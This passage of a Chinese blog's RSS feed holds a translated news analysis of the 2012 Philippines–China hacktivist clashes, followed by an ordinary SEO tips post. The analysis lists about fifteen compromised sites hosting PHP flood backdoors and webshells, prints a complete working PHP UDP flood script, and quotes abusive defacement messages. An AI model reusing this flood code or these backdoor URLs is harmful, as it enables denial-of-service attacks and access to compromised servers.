ours.<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">We are Anonymous<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">We are Legion<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">We do not Forgive<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">We do not Forget<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">United as One<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">Divided by Zero<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">Expect Us</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">@AnonPinas</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">除了对中国网站的入侵，两组的支持者也发动了对中国政府网站的DDoS攻击和DoS攻击。事实上，来自Anonymous #OccupyPhilippines的Seethered向他获得权限的15个网站上上传了15份PHP UDPFlood后门，<strong style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">下面这些网站是他上传了UDPFlood 后门的网站：</strong></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://spaneconi.com.mx/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://haventheatre.org/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://ainamedia.com/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://210.127.51.207/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.courseoutsource.com/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.tagsystems.org/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://cyberretailer.biz/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.thebirchproductions.com/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://minstermemorialsltd.co.uk/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://202.200.82.44/webdav/shell.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://217.6.136.144/webdav/greenshell.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.tingsbling.co.uk/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://ipswichinflatables.co.uk/upd.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://inspireyogabrisbane.com.au/wp-content/themes/striking/cache/images/udp.php<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.cutbackprod.com/wp-content/themes/aperture/cache/adik.php</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">根据我的分析，seethered上传的PHP UDPFlood，最初是由Hexbooter编码的。我偶然从网站上下载到了一份，我清理了其他后门。这里是一个恶意PHP代码的例子：</p><pre class="prettyprint" style="border-right: rgb(136,136,136) 1px solid; padding-right: 10px; border-top: rgb(136,136,136) 1px solid; overflow-y: auto; padding-left: 10px; overflow-x: auto; padding-bottom: 10px; margin: 5px; border-left: rgb(136,136,136) 1px solid; padding-top: 10px; border-bottom: rgb(136,136,136) 1px solid; background-color: rgb(248,248,248); word-wrap: break-word"><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">&lt;?</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">php</span><span class="com" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(136,0,0); padding-top: 0px">//UDP</span><span class="kwd" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,136); padding-top: 0px">if</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">(</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">isset</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">(</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">$_GET</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">[</span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">'host'</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">])&amp;&amp;</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">isset</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">(</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">$_GET</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">[</span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">'time'</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">])){</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">$packets </span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">=</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> </span><span class="lit" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,102,102); padding-top: 0px">0</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">;</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">ignore_user_abort</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">(</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">TRUE</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">);</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">set_time_limit</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">(</span><span class="lit" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,102,102); padding-top: 0px">0</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">);</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">$exec_time </span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">=</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> $_GET</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">[</span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">'time'</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">];</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">$time </span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">=</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> time</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">();</span><span class="com" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(136,0,0); padding-top: 0px">//print &quot;Started: &quot;.time('d-m-y h:i:s').&quot;</span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">&quot;;$max_time = $time+$exec_time;$host = $_GET['host'];for($i=0;$i&lt;65000;$i++){$out .= 'X';}while(1){$packets++;if(time() &gt; $max_time){break;}$rand = rand(1,65000);$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);if($fp){fwrite($fp, $out);fclose($fp);}}echo &quot;&lt;br&gt;&lt;b&gt;</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">UDP </span><span class="typ" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,0,102); padding-top: 0px">Flood</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">&lt;</span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">/b&gt;&lt;br&gt;Completed with $packets (&quot; . round(($packets*65)/</span><span class="lit" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,102,102); padding-top: 0px">1024</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">,</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> </span><span class="lit" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,102,102); padding-top: 0px">2</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">)</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> </span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">.</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> </span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">&quot; MB) packets averaging &quot;</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">.</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> round</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">(</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">$packets</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">/</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">$exec_time</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">,</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> </span><span class="lit" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,102,102); padding-top: 0px">2</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">)</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> </span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">.</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> </span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">&quot; packets per second \n&quot;</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">;</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">echo </span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">'&lt;br&gt;&lt;br&gt;&lt;form action=&quot;'</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">.</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px">$surl</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">.</span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">'&quot; method=GET&gt;&lt;input type=&quot;hidden&quot; name=&quot;act&quot; value=&quot;phptools&quot;&gt;IP: &lt;br&gt;&lt;input type=text name=host&gt;&lt;br&gt;Length (seconds): &lt;br&gt;&lt;input type=text name=time&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; value=&quot;Go&quot; /&gt;&lt;!--&lt;span class=&quot;hiddenSpellError&quot; pre=&quot;&quot;--&gt;form&gt;'</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">;</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">}</span><span class="kwd" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,136); padding-top: 0px">else</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">{</span><span class="pln" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,0,0); padding-top: 0px"> echo </span><span class="str" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,136,0); padding-top: 0px">'&lt;br&gt;&lt;b&gt;UDP Flood&lt;/b&gt;&lt;br&gt;&lt;form action=? method=GET&gt;&lt;input type=&quot;hidden&quot; name=&quot;act&quot; value=&quot;phptools&quot;&gt;IP: &lt;br&gt;&lt;input type=text name=host value=&gt;&lt;br&gt;Length (seconds): &lt;br&gt;&lt;input type=text name=time value=&gt;&lt;br&gt;&lt;br&gt;&lt;input type=submit value=Go&gt;&lt;/form&gt;'</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">;</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">}</span><span class="pun" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(102,102,0); padding-top: 0px">?&gt;</span></pre><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">根据代码，它每秒发送65000数据包，并允许攻击者输入攻击的长度。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">&ldquo;他们想进行分布式拒绝服务，那我们就给他DDoS&rdquo;Anonymous #OccupyPhilippines Facebook的管理员之一在主页说到。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">像预言的那样，一些中国黑客，一位自称是Silic黑客组织的成员，成功渗透了菲律宾政府官方网站和部分预算管理网站。他留下一些话说：</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">&ldquo;Hacked! Owned by Chinese Hackers!&rdquo;</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">&ldquo;How come a small bitch border country are overconfident? And challenged to our Chinese super hacker?&rdquo;</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">&ldquo;Remeber: Don&rsquo;t Trouble Chinese, Don&rsquo;t Play with Fire. All Members from Silic Group Hacker Army F*ck your mother and all your F8cking families&rdquo;</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">他们还在主页挂了一面中国国旗。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><img class="alignnone  wp-image-919" title="050212_2000_6" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; vertical-align: middle; padding-top: 0px" height="354" alt="" src="http://www.freebuf.com/buf/uploads/2012/05/050212_2000_6.jpg" width="518" /></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">现在，这些行为都使网络中的紧张局势升级。菲律宾或Pinoys和中国之间的网络战争虽然不像真正的战争那样致命。但如果这种行为不停止，可能也会危及到一些银行，电信，网上业务和其他电子商务网站。</p><h4 style="padding-right: 0px; padding-left: 0px; font-size: 12px; padding-bottom: 0px; margin: 0px; padding-top: 0px"><strong style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">文/Jay Turla 译/[FreeBuf]Pnig0s</strong></h4><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><strong style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">参考文献：</strong></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">https://www.facebook.com/pages/Anonymous-OccupyPhilippines/224402790971504</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">http://globalnation.inquirer.net/34021/china-deploys-gunboat</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">http://www.gov.ph/2012/04/23/statement-of-the-presidential-spokesperson-on-the-denial-of-service-attack-on-pcdspo-maintained-websites-april-23-2012/</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">http://www.interaksyon.com/infotech/budget-office-website-defaced-by-suspected-chinese-hackers</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><strong style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">补充阅读：</strong></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">http://en.wikipedia.org/wiki/Scarborough_Shoal</p></span></p><p>&nbsp;</p>]]></description><category>业界新闻</category><comments>http://www.si1ence.cn/news/407/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=407</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=407&amp;key=c8a1636e</trackback:ping></item><item><title>怎么提高网站关键词排名</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/SEO/403/</link><pubDate>Mon, 07 May 2012 15:57:55 +0800</pubDate><guid>http://www.si1ence.cn/SEO/403/</guid><description><![CDATA[<p><span class="Apple-style-span" style="word-spacing: 0px; font: 12px/21px Verdana, Arial, Helvetica, sans-serif; text-transform: none; color: rgb(51,51,51); text-indent: 0px; white-space: normal; letter-spacing: normal; background-color: rgb(255,255,255); text-align: left; orphans: 2; widows: 2; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px"><div class="con" id="a226" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; border-left-width: 0px; font-size: 14px; border-bottom-width: 0px; padding-bottom: 0px; margin: 10px 3px; padding-top: 0px; text-align: left; border-right-width: 0px"><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 26px; padding-top: 8px; text-align: justify"><span style="color: #008080">一个<strong style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">网站关键词的排名</strong>高低，除了网站本身的结构外，就是依靠这三点来说的：原创、外链、执行力。下面我来具体说说这三个方面。</span></p><h2 style="padding-right: 0px; padding-left: 0px; font-weight: bold; font-size: 14px; background-image: none; padding-bottom: 5px; margin: 10px 0px 0px; color: rgb(100,147,21); line-height: 20px; padding-top: 0px; border-bottom: rgb(100,147,21) 2px solid; height: 20px; background-origin: initial; background-clip: initial"><span style="color: #008080">一、坚持原创文章</span></h2><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 26px; padding-top: 8px; text-align: justify"><span style="color: #008080">　　我想大家对这个词应该不会陌生了吧。先分析好并确定网站关键词，针对自己网站行业写相关原创文章，至于文章为什么要原创，因为只有原创的内容才会在搜索引擎上有一定的排名、权重，当然写那么多的原创文章，也实在不容易。至少也要伪原创一下。但很多新手在网站初期，写不出大量原创文章，就一味地从别的网站上复制过来，当作自己的文章，发表在网络上，也改都不去改。造就了很多网站垃圾。还有一些明智一点的就稍微修改一下，比如标题、文章顺序、同义词的更换等，这就是所谓的伪原创了。</span></p><h2 style="padding-right: 0px; padding-left: 0px; font-weight: bold; font-size: 14px; background-image: none; padding-bottom: 5px; margin: 10px 0px 0px; color: rgb(100,147,21); line-height: 20px; padding-top: 0px; border-bottom: rgb(100,147,21) 2px solid; height: 20px; background-origin: initial; background-clip: initial"><span style="color: #008080">二、外链(不在多在于精)</span></h2><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 26px; padding-top: 8px; text-align: justify"><span style="color: #008080">　　这点我想大家也已经听了千万次了吧，但是它却是不可忽略的。坚持内容为王 外链为皇，也已是老生长谈了。一个网站做好了内容以后，就是增加它的外链，我们在一些高权重的论坛、博客、问答等发表文章，尽可能找一些可以发签名链接的地方。因为有些论坛不可以带签名，这样的话发了也没有意思。还有发外链不要一直在同一个地方发，多些地方更好。每天也不用多，但要有规律，让搜索引擎知道每天什么时候更新了内容。除了外链以外，网站的内部链接也是不容忽视的。</span></p><h2 style="padding-right: 0px; padding-left: 0px; font-weight: bold; font-size: 14px; background-image: none; padding-bottom: 5px; margin: 10px 0px 0px; color: rgb(100,147,21); line-height: 20px; padding-top: 0px; border-bottom: rgb(100,147,21) 2px solid; height: 20px; background-origin: initial; background-clip: initial"><span style="color: #008080">三、执行力</span></h2><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 26px; padding-top: 8px; text-align: justify"><span style="color: #008080">　　也就是说做事的态度，看你能否坚持到底。尤其是做我们这行的，这个是非常重要的。半途而废是最大的致命点。一个网站的成败也就在于此。</span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 26px; padding-top: 8px; text-align: justify"><span style="color: #008080">　　所以总的来说，做好我们这行跑不出这三点。对于新手开始可能会很痛苦，但是我相信坚持就是胜利、时间会改变一切。</span></p><div class="clear" style="border-top-width: 0px; clear: both; padding-right: 0px; padding-left: 0px; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 